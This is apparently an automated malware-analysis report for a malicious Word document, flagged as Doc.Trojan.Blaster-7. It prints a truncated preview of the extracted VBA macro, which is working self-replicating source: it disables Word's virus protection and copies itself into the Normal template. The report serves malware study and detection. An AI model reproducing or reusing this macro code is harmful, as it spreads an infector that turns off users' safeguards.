MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The 'Document_Open' macro is present and appears to be designed to write its own code to 'c:\cont.dbl' and potentially execute it. This behavior is indicative of a downloader or droppper malware. The ClamAV detection 'Doc.Trojan.Blaster-7' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Blaster-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Blaster-7
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 27097 bytes |
SHA-256: 7da0a46057552a02751549be5db5566b8e7d37686a5d49e7466756d78797ff70 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim stato As Boolean
Dim flagaltro As Boolean
Dim flagio As Boolean
Dim count As Integer
Dim stress As String
Dim bry As Variant
On Error Resume Next
stato = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options
.ConfirmConversions = 0
.VirusProtection = 0
.SaveNormalPrompt = 0
End With
SetAttr "c:\cont.dbl", vbNormal
Kill "c:\cont.dbl"
Open "c:\cont.dbl" For Output As #1
For count = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "Private Sub Document_Close()" Then Exit For
Next count
Do Until MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "End Sub"
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
count = count + 1
Loop
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
For count = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "Private Sub Document_Open()" Then Exit For
Next count
Do Until MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1) = "End Sub"
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
count = count + 1
Loop
Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(count, 1)
Close #1
SetAttr "c:\cont.dbl", vbNormal
flagaltro = False
flagio = False
Set bry = NormalTemplate.VBProject.VBComponents.Item(1)
For count = 1 To bry.CodeModule.CountOfLines
If bry.CodeModule.Lines(count, 1) = "Private Sub Document_Close()" Then
flagaltro = True
flagio = False
If Trim(bry.CodeModule.Lines(count + 1, 1)) = "Dim stato As Boolean" Then
flagio = True
flagaltro = False
Exit For
End If
End If
Next count
If flagaltro = True Then
For count = 1 To bry.CodeModule.CountOfLines
If bry.CodeModule.Lines(count, 1) = "Private Sub Document_Close()" Then Exit For
Next count
Do Until bry.CodeModule.Lines(count, 1) = "End Sub"
bry.CodeModule.DeleteLines (count)
Loop
bry.CodeModule.DeleteLines (count)
flagaltro = False
End If
If flagio = False And flagaltro = False Then
Open "c:\cont.dbl" For Input As #1
If LOF(1) = 0 Then GoTo cpynorm
count = 1
Do While Not EOF(1)
Line Input #1, stress
bry.CodeModule.InsertLines count, stress
count = count + 1
Loop
cpynorm:
Close #1
End If
flagaltro = False
flagio = False
Set bry = ActiveDocument.VBProject.VBComponents.Item(1)
For count = 1 To bry.CodeModule.CountOfLines
If bry.CodeModule.Lines(count, 1) = "Private Sub Document_Close()" Then
flagaltro = True
flagio = False
If Trim(bry.CodeModule.Lines(count + 1, 1)) = "Dim stato As Boolean" Then
flagio = True
flagaltro = False
Exit For
End If
End If
Next count
If flagaltro = True Then
For count = 1 To bry.CodeModule.CountOfLines
If bry.CodeModule.Lines(count, 1) = "Private Sub Document_Close()" Then Exit For
Next count
Do Until bry.CodeModule.
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.